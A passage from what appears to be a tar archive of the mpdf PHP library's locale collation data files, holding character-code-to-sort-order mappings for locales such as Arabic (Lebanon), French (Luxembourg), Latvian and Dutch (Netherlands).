101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Arabic_Lebanon.php000064400000001626147600022140016326 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/French_Luxembourg.php000064400000002551147600022140017123 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Catalan_Spain.php000064400000002551147600022140016202 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Urdu_Islamic_Republic_of_Pakistan.php000064400000001606147600022140022230 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Latvian_Latvia.php000064400000002203147600022140016375 0ustar00 188, 190 => 179, 65 => 97, 228 => 97, 196 => 97, 229 => 97, 197 => 97, 261 => 97, 260 => 97, 230 => 97, 198 => 97, 256 => 257, 66 => 98, 67 => 99, 263 => 99, 262 => 99, 268 => 269, 68 => 100, 69 => 101, 233 => 101, 201 => 101, 279 => 101, 278 => 101, 281 => 101, 280 => 101, 274 => 275, 70 => 102, 71 => 103, 290 => 291, 72 => 104, 73 => 105, 303 => 105, 302 => 105, 298 => 299, 74 => 106, 75 => 107, 310 => 311, 76 => 108, 322 => 108, 321 => 108, 315 => 316, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 325 => 326, 79 => 111, 243 => 111, 211 => 111, 246 => 111, 214 => 111, 333 => 111, 332 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 80 => 112, 81 => 113, 82 => 114, 343 => 114, 342 => 114, 83 => 115, 347 => 115, 346 => 115, 223 => 115, 352 => 353, 84 => 116, 85 => 117, 371 => 117, 370 => 117, 252 => 117, 220 => 117, 362 => 363, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/Croatian_(Latin)_Bosnia_and_Herzegovina.php000064400000002613147600022140023172 0ustar00 711, 65 => 97, 259 => 97, 258 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 268 => 269, 262 => 263, 68 => 100, 271 => 100, 270 => 100, 272 => 273, 69 => 101, 283 => 101, 282 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 318 => 108, 317 => 108, 314 => 108, 313 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 328 => 110, 327 => 110, 324 => 110, 323 => 110, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 345 => 114, 344 => 114, 341 => 114, 340 => 114, 83 => 115, 347 => 115, 346 => 115, 351 => 115, 350 => 115, 223 => 115, 352 => 353, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/Turkmen_Turkmenistan.php000064400000002555147600022140017702 0ustar00 711, 65 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 259 => 97, 258 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 263 => 99, 262 => 99, 269 => 99, 268 => 99, 231 => 99, 199 => 99, 68 => 100, 271 => 100, 270 => 100, 273 => 100, 272 => 100, 69 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 283 => 101, 282 => 101, 281 => 101, 280 => 101, 196 => 228, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 381 => 382, 75 => 107, 76 => 108, 314 => 108, 313 => 108, 318 => 108, 317 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 327 => 328, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 337 => 111, 336 => 111, 214 => 246, 80 => 112, 81 => 113, 82 => 114, 341 => 114, 340 => 114, 345 => 114, 344 => 114, 83 => 115, 347 => 115, 346 => 115, 353 => 115, 352 => 115, 223 => 115, 350 => 351, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 220 => 252, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 221 => 253, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, ]; vendor/mpdf/mpdf/data/collations/Swedish_Finland.php000064400000002521147600022140016543 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 227 => 97, 195 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 86 => 118, 119 => 118, 87 => 118, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 252 => 121, 220 => 121, 90 => 122, 382 => 122, 381 => 122, 197 => 229, 196 => 228, 214 => 246, 248 => 246, 216 => 246, ]; vendor/mpdf/mpdf/data/collations/Dutch_Netherlands.php000064400000002551147600022140017103 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Saudi_Arabia.php000064400000001626147600022140017254 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Dutch_Belgium.php000064400000002551147600022140016220 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Frisian_Netherlands.php000064400000002551147600022140017427 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 121 => 105, 89 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 221 => 253, 255 => 253, 376 => 253, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Mapudungun_Chile.php000064400000002515147600022140016734 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 220 => 252, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Breton_France.php000064400000002551147600022140016214 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/English_Australia.php000064400000002551147600022140017103 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Algeria.php000064400000001626147600022140016314 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Arabic_Tunisia.php000064400000001626147600022140016364 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Finnish_Finland.php000064400000002521147600022140016533 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 227 => 97, 195 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 86 => 118, 119 => 118, 87 => 118, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 252 => 121, 220 => 121, 90 => 122, 382 => 122, 381 => 122, 197 => 229, 196 => 228, 214 => 246, 248 => 246, 216 => 246, ]; vendor/mpdf/mpdf/data/collations/Quechua_Peru.php000064400000002551147600022140016073 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Setswana_South_Africa.php000064400000002551147600022140017721 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/English_Jamaica.php000064400000002551147600022140016503 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Italian_Switzerland.php000064400000002551147600022140017454 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 